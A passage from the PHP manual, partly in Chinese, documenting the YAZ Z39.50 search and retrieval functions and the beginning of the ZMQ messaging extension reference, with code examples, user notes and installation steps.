server to return records along with the search recult, or submit a single present request to fetch the records (if you're not asking for too many).. it makes no difference in a quick hack, but it can make a dramatic difference if you're designing for many users or heavy traffic. Your loop over yaz_record() will be the same whether you have called yaz_range() first, or not."


Returns a record

  • ? yaz_range
  • yaz_scan_result ?
  • PHP Manual
  • YAZ 函数
  • Returns a record

yaz_record

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_record — Returns a record

说明

yaz_record(resource $id, int $pos, string $type): string

The yaz_record() function inspects a record in the current result set at the position specified by parameter pos.

参数

id

The connection resource returned by yaz_connect().

pos

The record position. Records positions in a result set are numbered 1, 2, ... $hits where $hits is the count returned by yaz_hits().

type

The type specifies the form of the returned record.

Note:

It is the application which is responsible for actually ensuring that the records are returned from the Z39.50/SRW server in the proper format. The type given only specifies a conversion to take place on the client side (in PHP/YAZ).

Besides conversion of the transfer record to a string/array, PHP/YAZ it is also possible to perform a character set conversion of the record. Especially for USMARC/MARC21 that is recommended since these are typically returned in the character set MARC-8 that is not supported by browsers, etc. To specify a conversion, add ; charset=from, to where from is the original character set of the record and to is the resulting character set (as seen by PHP).

string

The record is returned as a string for simple display. In this mode, all MARC records are converted to a line-by-line format since ISO2709 is hardly readable. XML records and SUTRS are returned in their original format. GRS-1 are returned in a (ugly) line-by-line format.

This format is suitable if records are to be displayed in a quick way - for debugging - or because it is not feasible to perform proper display.

xml

The record is returned as an XML string if possible. In this mode, all MARC records are converted to » MARCXML. XML records and SUTRS are returned in their original format. GRS-1 is not supported.

This format is similar to string except that MARC records are converted to MARCXML

This format is suitable if records are processed by an XML parser or XSLT processor afterwards.

raw

The record is returned as a string in its original form. This type is suitable for MARC, XML and SUTRS. It does not work for GRS-1.

MARC records are returned as a ISO2709 string. XML and SUTRS are returned as strings.

syntax

The syntax of the record is returned as a string, i.e. USmarc, GRS-1, XML, etc.

database

The name of database associated with record at the position is returned as a string.

array

The record is returned as an array that reflects the GRS-1 structure. This type is suitable for MARC and GRS-1. XML, SUTRS are not supported and if the actual record is XML or SUTRS an empty string will be returned.

The array returned consists of a list corresponding to each leaf/internal node of GRS-1. Each list item consists a sub list with first element path and data (if data is available).

The path which is a string holds a list of each tree component (of the structured GRS-1 record) from root to leaf. Each component is a tag type, tag value pair of the form (type, value

String tags normally has a corresponding tag type 3. MARC can also be returned as an array (they are converted to GRS-1 internally).

返回值

Returns the record at position pos or an empty string if no record exists at the given position.

If no database record exists at the given position an empty string is returned.

示例

Example #1 Array for GRS-1 record

Consider this GRS-1 record:

(4,52)Robert M. Pirsig
(4,70)
      (4,90)
            (2,7)Transworld Publishers, ltd.
This record has two nodes at root level. First element at root level is (4,52) [tag type 4, tag value 52], and has data Robert M. Pirsig. Second element at root level (4,70) has a subtree with a single element (4,90). (4,90) has yet another sub tree (2,7) with data Transworld Publishers, ltd..

If this record is present at position $p, then

<?php

$ar = yaz_record($id, $p, "array");
print_r($ar);

?>
will output:
Array
(
    [0] => Array
        (
            [0] => (4,52)
            [1] => Robert M. Pirsig
        )
    [1] => Array
        (
            [0] => (4,70)
        )
    [2] => Array
        (
            [0] => (4,70)(4,90)
        )
    [3] => Array
        (
            [0] => (4,70)(4,90)(2,7)
            [1] => Transworld Publishers, ltd.
        )
)

Example #2 Working with MARCXML

The following PHP snippet returns a MARC21/USMARC record as MARCXML. The original record is returned in marc-8 (unknown to most XML parsers), so we convert it to UTF-8 (which all XML parsers must support).

<?php
$rec = yaz_record($id, $p, "xml; charset=marc-8,utf-8");
?>

The record $rec can be processed with the Sablotron XSLT processor as follows:

<?php

$xslfile = 'display.xsl';
$processor = xslt_create();
$parms = array('/_xml' => $rec);
$res = xslt_process($processor, 'arg:/_xml', $xslfile, NULL, $parms);
xslt_free($processor);
$res = preg_replace("'</?html[^>]*>'", '', $res);
echo $res;

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns Scan Response result

  • ? yaz_record
  • yaz_scan ?
  • PHP Manual
  • YAZ 函数
  • Returns Scan Response result

yaz_scan_result

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan_result — Returns Scan Response result

说明

yaz_scan_result(resource $id, array &$result = ?): array

yaz_scan_result() returns terms and associated information as received from the server in the last performed yaz_scan().

参数

id

The connection resource returned by yaz_connect().

result

If given, this array will be modified to hold additional information taken from the Scan Response:

  • number - Number of entries returned

  • stepsize - Step size

  • position - Position of term

  • status - Scan status

返回值

Returns an array (0..n-1) where n is the number of terms returned. Each value is a pair where the first item is the term, and the second item is the result-count.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a scan

  • ? yaz_scan_result
  • yaz_schema ?
  • PHP Manual
  • YAZ 函数
  • Prepares for a scan

yaz_scan

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan — Prepares for a scan

说明

yaz_scan(
resource $id,
string $type,
string $startterm,
array $flags = ?
): void

This function prepares for a Z39.50 Scan Request on the specified connection.

To actually transfer the Scan Request to the server and receive the Scan Response, yaz_wait() must be called. Upon completion of yaz_wait() call yaz_error() and yaz_scan_result() to handle the response.

参数

id

The connection resource returned by yaz_connect().

type

Currently only type rpn is supported.

startterm

Starting term point for the scan.

The form in which the starting term is specified is given by parameter type.

The syntax this parameter is similar to the RPN query as described in yaz_search(). It consists of zero or more @attr-operator specifications, then followed by exactly one token.

flags

This optional parameter specifies additional information to control the behaviour of the scan request. Three indexes are currently read from the flags array: number (number of terms requested), position (preferred position of term) and stepSize (preferred step size).

返回值

没有返回值。

示例

Example #1 PHP function that scans titles

<?php
function scan_titles($id, $startterm)
{
yaz_scan($id, "rpn", "@attr 1=4 " . $startterm);
yaz_wait();
$errno = yaz_errno($id);
if ($errno == 0) {
$ar = yaz_scan_result($id, $options);
echo 'Scan ok; ';
foreach ($options as $key => $val) {
echo "$key = $val &nbsp;";
}
echo '<br /><table>';
while (list($key, list($k, $term, $tcount)) = each($ar)) {
if (empty($k)) continue;
echo "<tr><td>$term</td><td>$tcount</td></tr>";
}
echo '</table>';
} else {
echo "Scan failed. Error: " . yaz_error($id) . "<br />";
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies schema for retrieval

  • ? yaz_scan
  • yaz_search ?
  • PHP Manual
  • YAZ 函数
  • Specifies schema for retrieval

yaz_schema

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_schema — Specifies schema for retrieval

说明

yaz_schema(resource $id, string $schema): void

yaz_schema() specifies the schema for retrieval.

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

schema

Must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.13.4) or as one of the known registered schemas: GILS-schema, Holdings, Zthes, ...

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a search

  • ? yaz_schema
  • yaz_set_option ?
  • PHP Manual
  • YAZ 函数
  • Prepares for a search

yaz_search

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_search — Prepares for a search

说明

yaz_search(resource $id, string $type, string $query): bool

yaz_search() prepares for a search on the given connection.

Like yaz_connect() this function is non-blocking and only prepares for a search to be executed later when yaz_wait() is called.

参数

id

The connection resource returned by yaz_connect().

type

This parameter represents the query type - only "rpn" is supported now in which case the third argument specifies a Type-1 query in prefix query notation.

query

The RPN query is a textual representation of the Type-1 query as defined by the Z39.50 standard. However, in the text representation as used by YAZ a prefix notation is used, that is the operator precedes the operands. The query string is a sequence of tokens where white space is ignored unless surrounded by double quotes. Tokens beginning with an at-character (@) are considered operators, otherwise they are treated as search terms.

RPN Operators
Construct | Description
@and query1 query2 | intersection of query1 and query2
@or query1 query2 | union of query1 and query2
@not query1 query2 | query1 and not query2
@set name | result set reference
@attrset set query | specifies attribute-set for query. This construction is only allowed once - in the beginning of the whole query
@attr [set] type=value query | applies attribute to query. The type and value are integers specifying the attribute-type and attribute-value respectively. The set, if given, specifies the attribute-set.

You can find information about attributes at the » Z39.50 Maintenance Agency site.

Note:

If you would like to use a more friendly notation, use the CCL parser - functions yaz_ccl_conf() and yaz_ccl_parse().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Query Examples

You can search for simple terms, like this:

computer
which matches documents where "computer" occur. No attributes are specified.

The query

"knuth donald"
matches documents where "knuth donald" occur (provided that the server supports phrase search).

This query applies two attributes for the same phrase.

@attr 1=1003 @attr 4=1 "knuth donald"
First attribute is type 1 (Bib-1 use), attribute value is 1003 (Author). Second attribute has is type 4 (structure), value 1 (phrase), so this should match documents where Donald Knuth is author.

The query

@and @or a b @not @or c d e
would in infix notation look like (a or b) and ((c or d) not e).

Another, more complex, one:

@attrset gils @and @attr 1=4 art @attr 1=2000 company
The query as a whole uses the GILS attributeset. The query matches documents where art occur in the title (GILS,BIB-1) and in which company occur as Distributor (GILS).

User Contributed Notes

k dot andris at gmail dot com 17-Jun-2009 03:49
To display holdings data set the syntax and the record format to "opac" (at least for Horizon ILS). It will give you an xml, containg <holding> elements with all info:

<?php
$z = yaz_connect(...
yaz_syntax($z, 'opac');
yaz_search($z, 'rpn', '@attr 1=4 "title%"');
yaz_wait();
$hits = yaz_hits($z);
yaz_range($z, 1, $hits);
yaz_present($z);
for($i = 1; $i <= $hits; $i++)
       my_display(yaz_record($z, $i, 'opac'));
yaz_close($z);

function my_display($s)
{
  $lines = explode("\n", trim($s));
    var_dump($lines);
}
?>
Colibri 22-Jan-2009 08:42
When querying a SRU/SRW server, the "type" parameter must(?) be specified as "cql", e.g.
yaz_search($handle, "cql", "bath.isbn=1234");
jwohlers at mail dot wcc dot cc dot il dot us 31-Jan-2002 05:21
Quick Reference For Attribute Fields
(eg: "@attr 2=" refers to the Relation attribute)
1 = Use Field
2 = Relation
3 = Position
4 = Structure
5 = Truncate
6 = Completeness


Sets one or more options for connection

  • ? yaz_search
  • yaz_sort ?
  • PHP Manual
  • YAZ 函数
  • Sets one or more options for connection

yaz_set_option

(PECL yaz >= 0.9.0)

yaz_set_option — Sets one or more options for connection

说明

yaz_set_option(resource $id, string $name, string $value): void
yaz_set_option(resource $id, array $options): void

Sets one or more options on the given connection.

参数

id

The connection resource returned by yaz_connect().

name or options

May be either a string or an array.

If given as a string, this will be the name of the option to set. You'll need to give it's value.

If given as an array, this will be an associative array (option name => option value).

PHP/YAZ Connection Options
Name | Description
implementationName | implementation name of server
implementationVersion | implementation version of server
implementationId | implementation ID of server
schema | schema for retrieval. By default, no schema is used. Setting this option is equivalent to using function yaz_schema()
preferredRecordSyntax | record syntax for retrieval. By default, no syntax is used. Setting this option is equivalent to using function yaz_syntax()
start | offset for first record to be retrieved via yaz_search() or yaz_present(). First record is numbered has a start value of 0. Second record has start value 1. Setting this option in combination with option count has the same effect as calling yaz_range() except that records are numbered from 1 in yaz_range()
count | maximum number of records to be retrieved via yaz_search() or yaz_present().
elementSetName | element-set-name for retrieval. Setting this option is equivalent to calling yaz_element().
value

The new value of the option. Use this only if the previous argument is a string.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets sorting criteria

  • ? yaz_set_option
  • yaz_syntax ?
  • PHP Manual
  • YAZ 函数
  • Sets sorting criteria

yaz_sort

(PHP 4 >= 4.0.7, PECL yaz >= 0.9.0)

yaz_sort — Sets sorting criteria

说明

yaz_sort(resource $id, string $criteria): void

This function sets sorting criteria and enables Z39.50 Sort.

Call this function before yaz_search(). Using this function alone does not have any effect. When used in conjunction with yaz_search(), a Z39.50 Sort will be sent after a search response has been received and before any records are retrieved with Z39.50 Present (yaz_present().

参数

id

The connection resource returned by yaz_connect().

criteria

A string that takes the form field1 flags1 field2 flags2 where field1 specifies the primary attributes for sort, field2 seconds, etc..

The field specifies either a numerical attribute combinations consisting of type=value pairs separated by comma (e.g. 1=4,2=1) ; or the field may specify a plain string criteria (e.g. title. The flags is a sequence of the following characters which may not be separated by any white space.

Sort Flags
a

Sort ascending

d

Sort descending

i

Case insensitive sorting

s

Case sensitive sorting

返回值

没有返回值。

示例

Example #1 Sort Criterias

To sort on Bib1 attribute title, case insensitive, and ascending you would use the following sort criteria:

1=4 ia

If the secondary sorting criteria should be author, case sensitive and ascending you would use:

1=4 ia 1=1003 sa

User Contributed Notes

peter at NOSPAMimtc dot gatech dot edu 26-Aug-2004 08:37
This information is located in several places in the documentation, but takes awhile to find.

yaz_sort() only works for fields that have an associated sort register.  Failure to link a sort register will generate the error "Cannot sort according to sequence".

The sort register is created in the default.idx file and referenced in the *.abs file.  This is the sort register setting in default.idx:

...
# Sort register (no mapping at all)
sort s
completeness 1
charmap string.chr
...

In the above code the "s" register is setup as the sort register.  Charmap string.chr defines the string conversion for diacritics.

This is the reference to the sort index in the *abs file:

...
elm (2,1)                   title                      !:w,!:p,!:s
...

In the above line the "!:s" causes a sort register to be created for the field.

Once the above changes have been made, reindex all the source records and restart the server.   Check for a "sort<fieldid>-0.mf" file in the zebra data directory to verify operation.  yaz_sort() should now work properly.


Specifies the preferred record syntax for retrieval

  • ? yaz_sort
  • yaz_wait ?
  • PHP Manual
  • YAZ 函数
  • Specifies the preferred record syntax for retrieval

yaz_syntax

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_syntax — Specifies the preferred record syntax for retrieval

说明

yaz_syntax(resource $id, string $syntax): void

yaz_syntax() specifies the preferred record syntax for retrieval

This function should be called before yaz_search() or yaz_present().

参数

id

The connection resource returned by yaz_connect().

syntax

The syntax must be specified as an OID (Object Identifier) in a raw dot-notation (like 1.2.840.10003.5.10) or as one of the known registered record syntaxes (sutrs, usmarc, grs1, xml, etc.).

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Wait for Z39.50 requests to complete

  • ? yaz_syntax
  • 0MQ 消息 ?
  • PHP Manual
  • YAZ 函数
  • Wait for Z39.50 requests to complete

yaz_wait

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_wait — Wait for Z39.50 requests to complete

说明

yaz_wait(array &$options = ?): mixed

This function carries out networked (blocked) activity for outstanding
requests which have been prepared by the functions
yaz_connect(), yaz_search(),
yaz_present(), yaz_scan() and
yaz_itemorder().

yaz_wait() returns when all servers have either completed all requests or aborted (in case of errors).

参数

options

An associative array of options:

timeout

Sets timeout in seconds. If a server has not responded within the timeout it is considered dead and yaz_wait() returns. The default value for timeout is 15 seconds.

event

A boolean.

返回值

成功时返回 true， 或者在失败时返回 false。 In event mode, returns resource 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


ZMQ

  • 简介
  • 安装/配置
    • 需求
  • ZMQ — The ZMQ class
    • ZMQ::__construct — ZMQ constructor
  • ZMQContext — The ZMQContext class
    • ZMQContext::__construct — Construct a new ZMQContext object
    • ZMQContext::getOpt — Get context option
    • ZMQContext::getSocket — Create a new socket
    • ZMQContext::isPersistent — Whether the context is persistent
    • ZMQContext::setOpt — Set a socket option
  • ZMQSocket — The ZMQSocket class
    • ZMQSocket::bind — Bind the socket
    • ZMQSocket::connect — Connect the socket
    • ZMQSocket::__construct — Construct a new ZMQSocket
    • ZMQSocket::disconnect — Disconnect a socket
    • ZMQSocket::getEndpoints — Get list of endpoints
    • ZMQSocket::getPersistentId — Get the persistent id
    • ZMQSocket::getSocketType — Get the socket type
    • ZMQSocket::getSockOpt — Get socket option
    • ZMQSocket::isPersistent — Whether the socket is persistent
    • ZMQSocket::recv — Receives a message
    • ZMQSocket::recvMulti — Receives a multipart message
    • ZMQSocket::send — Sends a message
    • ZMQSocket::sendmulti — Sends a multipart message
    • ZMQSocket::setSockOpt — Set a socket option
    • ZMQSocket::unbind — Unbind the socket
  • ZMQPoll — The ZMQPoll class
    • ZMQPoll::add — Add item to the poll set
    • ZMQPoll::clear — Clear the poll set
    • ZMQPoll::count — Count items in the poll set
    • ZMQPoll::getLastErrors — Get poll errors
    • ZMQPoll::poll — Poll the items
    • ZMQPoll::remove — Remove item from poll set
  • ZMQDevice — The ZMQDevice class
    • ZMQDevice::__construct — Construct a new device
    • ZMQDevice::getIdleTimeout — Get the idle timeout
    • ZMQDevice::getTimerTimeout — Get the timer timeout
    • ZMQDevice::run — Run the new device
    • ZMQDevice::setIdleCallback — Set the idle callback function
    • ZMQDevice::setIdleTimeout — Set the idle timeout
    • ZMQDevice::setTimerCallback — Set the timer callback function
    • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


简介

"?MQ 是函数库，能够快速设计和开发基于消息的快速应用。"——0MQ 官网

关于 0MQ 的更多信息，请参考 » http://zeromq.org/。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求

User Contributed Notes

sebastian dot t dot jennen at gmail dot com 04-Feb-2020 08:50
php-zmq is conveniently installable over package managers for linux derivates:
as of February 2020

Debian from version 9 up
https://packages.debian.org/stretch/php/php-zmq

Ubuntu from version 16.04 up
https://packages.ubuntu.com/xenial/php/php-zmq

Fedora 29 and up:
https://rpmfind.net/linux/rpm2html/search.php?query=php-zmq

Thanks to the maintainers, i just tried successfully some examples on Fedora 29 Workstation which worked out of the box.
Anonymous 11-Jan-2016 11:35
I have created a gist with the updated procedure to install the ZeroMQ PHP extension on Ubuntu 14.04 with support for CurveZMQ encryption. Here is the link:
https://gist.github.com/Kamisama666/da9ef33b1adf4c6d39ca
felipsmartins at gmail dot com 07-Jul-2014 01:44
Installing and configuring ZMQ:

The following exemples is based on Debian Linux  but it should work in other OS.

First:
Installing 0MQ:
Go to http://zeromq.org/area:download and choose a package according your OS, in my case I've choosed
POSIX tarball Stable Release 4.0.4.

    ~$ tar -xvf zeromq-4.0.4.tar
    ~$ cd zeromq-4.0.4
    ~$ ./configure
    ~$ make
    ~$ sudo make install

Ok, we just have installed ZMQ now need install zmq php binding...
Make sure you having php-dev and php pear installed. If no:

    ~$ sudo apt-get install php5-dev php-pear
    ~$ sudo pecl install zmq-beta

Ok, we have now ZMQ and php binding (ext-php) installed but we should add "extension=zmq.so" (Or extension=php_zmq.dll on windows) to php.ini:
In my case:

    ~$ sudo nano /etc/php5/apache2/php.ini

**NOTE:** If PHP version is 5.4.x you will need to add a zmq.ini file in /etc/php5/conf.d and put "extension=zmq.so":

    ~$ sudo nano /etc/php5/conf.d/20-zmq.ini

Reloadind HTTP server (in my case apache):

    ~$  sudo service apache2 reload


需求

ZMQ 扩展需要 0MQ 2.0.7 及以上版本。0MQ 可以这里获取 » http://zeromq.org/area:download。

安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/zmq

User Contributed Notes

There are no user contributed notes for this page.


The ZMQ class

(PECL zmq >= 0.5.0)

简介

类摘要

class ZMQ {
/* 常量 */
const int SOCKET_PAIR;
const int SOCKET_PUB;
const int SOCKET_SUB;
const int SOCKET_REQ;
const int SOCKET_REP;
const int SOCKET_XREQ;
const int SOCKET_XREP;
const int SOCKET_PUSH;
const int SOCKET_PULL;
const int SOCKET_ROUTER;
const int SOCKET_DEALER;
const int SOCKET_XPUB;
const int SOCKET_XSUB;
const int SOCKET_STREAM;
const int SOCKOPT_HWM;
const int SOCKOPT_SNDHWM;
const int SOCKOPT_RCVHWM;
const int SOCKOPT_AFFINITY;
const int SOCKOPT_IDENTITY;
const int SOCKOPT_SUBSCRIBE;
const int SOCKOPT_UNSUBSCRIBE;
const int SOCKOPT_RATE;
const int SOCKOPT_RECOVERY_IVL;
const int SOCKOPT_RECONNECT_IVL;
const int SOCKOPT_RECONNECT_IVL_MAX;
const int SOCKOPT_MCAST_LOOP;
const int SOCKOPT_SNDBUF;
const int SOCKOPT_RCVBUF;
const int SOCKOPT_RCVMORE;
const int SOCKOPT_TYPE;
const int SOCKOPT_LINGER;
const int SOCKOPT_BACKLOG;
const int SOCKOPT_MAXMSGSIZE;
const int SOCKOPT_SNDTIMEO;
const int SOCKOPT_RCVTIMEO;
const int SOCKOPT_IPV4ONLY;
const int SOCKOPT_LAST_ENDPOINT;
const int SOCKOPT_TCP_KEEPALIVE_IDLE;
const int SOCKOPT_TCP_KEEPALIVE_CNT;
const int SOCKOPT_TCP_KEEPALIVE_INTVL;
const int SOCKOPT_TCP_ACCEPT_FILTER;
const int SOCKOPT_TCP_ACCEPT_FILTER;
const int SOCKOPT_DELAY_ATTACH_ON_CONNECT;
const int SOCKOPT_XPUB_VERBOSE;
const int SOCKOPT_ROUTER_RAW;
const int SOCKOPT_IPV6;
const int CTXOPT_MAX_SOCKETS;
const int POLL_IN;
const int POLL_OUT;
const int MODE_NOBLOCK;
const int MODE_DONTWAIT;
const int MODE_SNDMORE;
const int ERR_INTERNAL;
const int ERR_EAGAIN;
const int ERR_ENOTSUP;
const int ERR_EFSM;
const int ERR_ETERM;
/* 方法 */
private __construct()
}

预定义常量

ZMQ Constant Types

ZMQ::SOCKET_PAIR

Exclusive pair pattern

ZMQ::SOCKET_PUB

Publisher socket

ZMQ::SOCKET_SUB

Subscriber socket

ZMQ::SOCKET_REQ

Request socket

ZMQ::SOCKET_REP

Reply socket

ZMQ::SOCKET_XREQ

Alias for SOCKET_DEALER

ZMQ::SOCKET_XREP

Alias for SOCKET_ROUTER

ZMQ::SOCKET_PUSH

Pipeline upstream push socket

ZMQ::SOCKET_PULL

Pipeline downstream pull socket

ZMQ::SOCKET_ROUTER

Extended REP socket that can route replies to requesters

ZMQ::SOCKET_DEALER

Extended REQ socket that load balances to all connected peers

ZMQ::SOCKET_XPUB

Similar to SOCKET_PUB, except you can receive subscriptions as messages. The subscription message is 0 (unsubscribe) or 1 (subscribe) followed by the topic.

ZMQ::SOCKET_XSUB

Similar to SOCKET_SUB, except you can send subscriptions as messages. See SOCKET_XPUB for format.

ZMQ::SOCKET_STREAM

Used to send and receive TCP data from a non-?MQ peer. Available if compiled against ZeroMQ 4.x or higher (Value: int).

ZMQ::SOCKOPT_HWM

The high water mark for inbound and outbound messages is a hard limit on the maximum number of outstanding messages ?MQ shall queue in memory for any single peer that the specified socket is communicating with. Setting this option on a socket will only affect connections made after the option has been set. On ZeroMQ 3.x this is a wrapper for setting both SNDHWM and RCVHWM. (Value: int).

ZMQ::SOCKOPT_SNDHWM

The ZMQ_SNDHWM option shall set the high water mark for outbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: int).

ZMQ::SOCKOPT_RCVHWM

The SOCKOPT_RCVHWM option shall set the high water mark for inbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: int).

ZMQ::SOCKOPT_AFFINITY

Set I/O thread affinity (Value: int)

ZMQ::SOCKOPT_IDENTITY

Set socket identity (Value: string)

ZMQ::SOCKOPT_SUBSCRIBE

Establish message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_UNSUBSCRIBE

Remove message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_RATE

Set rate for multicast sockets (pgm) (Value: int >= 0)

ZMQ::SOCKOPT_RECOVERY_IVL

Set multicast recovery interval (Value: int >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL

Set the initial reconnection interval (Value: int >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL_MAX

Set the max reconnection interval (Value: int >= 0)

ZMQ::SOCKOPT_MCAST_LOOP

Control multicast loopback (Value: int >= 0)

ZMQ::SOCKOPT_SNDBUF

Set kernel transmit buffer size (Value: int >= 0)

ZMQ::SOCKOPT_RCVBUF

Set kernel receive buffer size (Value: int >= 0)

ZMQ::SOCKOPT_RCVMORE

Receive multi-part messages (Value: int)

ZMQ::SOCKOPT_TYPE

Get the socket type. Valid for getSockOpt (Value: int)

ZMQ::SOCKOPT_LINGER

The linger value of the socket. Specifies how long the socket blocks trying flush messages after it has been closed (Value: int)

ZMQ::SOCKOPT_BACKLOG

The SOCKOPT_BACKLOG option shall set the maximum length of the queue of outstanding peer connections for the specified socket; this only applies to connection-oriented transports. (Value: int)

ZMQ::SOCKOPT_MAXMSGSIZE

Limits the maximum size of the inbound message. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_SNDTIMEO

Sets the timeout for send operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_RCVTIMEO

Sets the timeout for receive operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_IPV4ONLY

Disable IPV6 support if 1. Available if compiled against ZeroMQ 3.x (Value: int)

ZMQ::SOCKOPT_LAST_ENDPOINT

Retrieve the last connected endpoint - for use with * wildcard ports. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_KEEPALIVE_IDLE

Idle time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_TCP_KEEPALIVE_CNT

Count time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_TCP_KEEPALIVE_INTVL

Interval for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::SOCKOPT_DELAY_ATTACH_ON_CONNECT

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_ACCEPT_FILTER

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_XPUB_VERBOSE

Set the XPUB to receive an application message on each instance of a subscription. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_ROUTER_RAW

Sets the raw mode on the ROUTER, when set to 1. In raw mode when using tcp:// transport the socket will read and write without ZeroMQ framing. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::SOCKOPT_IPV6

Enable IPV6. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::CTXOPT_MAX_SOCKETS

The socket limit for this context. Available if compiled against ZeroMQ 3.x or higher (Value: int)

ZMQ::POLL_IN

Poll for incoming data

ZMQ::POLL_OUT

Poll for outgoing data

ZMQ::MODE_NOBLOCK

Non-blocking operation. Deprecated, use ZMQ::MODE_DONTWAIT instead

ZMQ::MODE_DONTWAIT

Non-blocking operation

ZMQ::MODE_SNDMORE

Send multi-part message

ZMQ::DEVICE_FORWARDER

Forwarder device

ZMQ::DEVICE_QUEUE

Queue device

ZMQ::DEVICE_STREAMER

Streamer device

ZMQ::ERR_INTERNAL

ZMQ extension internal error

ZMQ::ERR_EAGAIN

Implies that the operation would block when ZMQ::MODE_DONTWAIT is used

ZMQ::ERR_ENOTSUP

The operation is not supported by the socket type

ZMQ::ERR_EFSM

The operation can not be executed because the socket is not in correct state

ZMQ::ERR_ETERM

The context has been terminated

Table of Contents

  • ZMQ::__construct — ZMQ constructor

User Contributed Notes

There are no user contributed notes for this page.


ZMQ constructor

  • ? ZMQ
  • ZMQContext ?
  • PHP Manual
  • ZMQ
  • ZMQ constructor

ZMQ::__construct

(PECL zmq >= 0.5.0)

ZMQ::__construct — ZMQ constructor

说明

private ZMQ::__construct()

Private constructor to prevent direct initialization. This class holds the constants for ZMQ extension.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The ZMQContext class

(PECL zmq >= 0.5.0)

简介

类摘要

class ZMQContext {
/* 方法 */
public __construct(int $io_threads = 1, bool $is_persistent = true)
public getOpt(string $key): mixed
public getSocket(int $type, string $persistent_id = null, callable $on_new_socket = null): ZMQSocket
public isPersistent(): bool
public setOpt(int $key, mixed $value): ZMQContext
}

Table of Contents

  • ZMQContext::__construct — Construct a new ZMQContext object
  • ZMQContext::getOpt — Get context option
  • ZMQContext::getSocket — Create a new socket
  • ZMQContext::isPersistent — Whether the context is persistent
  • ZMQContext::setOpt — Set a socket option

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQContext object

  • ? ZMQContext
  • ZMQContext::getOpt ?
  • PHP Manual
  • ZMQContext
  • Construct a new ZMQContext object

ZMQContext::__construct

(PECL zmq >= 0.5.0)

ZMQContext::__construct — Construct a new ZMQContext object

说明

public ZMQContext::__construct(int $io_threads = 1, bool $is_persistent = true)

Constructs a new ZMQ context. The context is used to initialize sockets. A persistent context is required to initialize persistent sockets.

参数

io_threads

Number of io-threads in the context.

is_persistent

Whether the context is persistent. Persistent context is stored over multiple requests and is a requirement for persistent sockets.

错误／异常

Throws ZMQContextException if context initialization fails.

示例

Example #1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
?>

User Contributed Notes

There are no user contributed notes for this page.


Get context option

  • ? ZMQContext::__construct
  • ZMQContext::getSocket ?
  • PHP Manual
  • ZMQContext
  • Get context option

ZMQContext::getOpt

(PECL zmq >= 1.0.4)

ZMQContext::getOpt — Get context option

说明

public ZMQContext::getOpt(string $key): mixed

Returns the value of a context option.

参数

key

An integer representing the option. See the ZMQ::CTXOPT_* constants.

返回值

Returns either a string or an int depending on key. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a new socket

  • ? ZMQContext::getOpt
  • ZMQContext::isPersistent ?
  • PHP Manual
  • ZMQContext
  • Create a new socket

ZMQContext::getSocket

(PECL zmq >= 0.5.0)

ZMQContext::getSocket — Create a new socket

说明

public ZMQContext::getSocket(int $type, string $persistent_id = null, callable $on_new_socket = null): ZMQSocket

Shortcut for creating new sockets from the context. If the context is not persistent the persistent_id parameter is ignored and the socket falls back to being non-persistent. The on_new_socket is called only when a new underlying socket structure is created.

参数

type

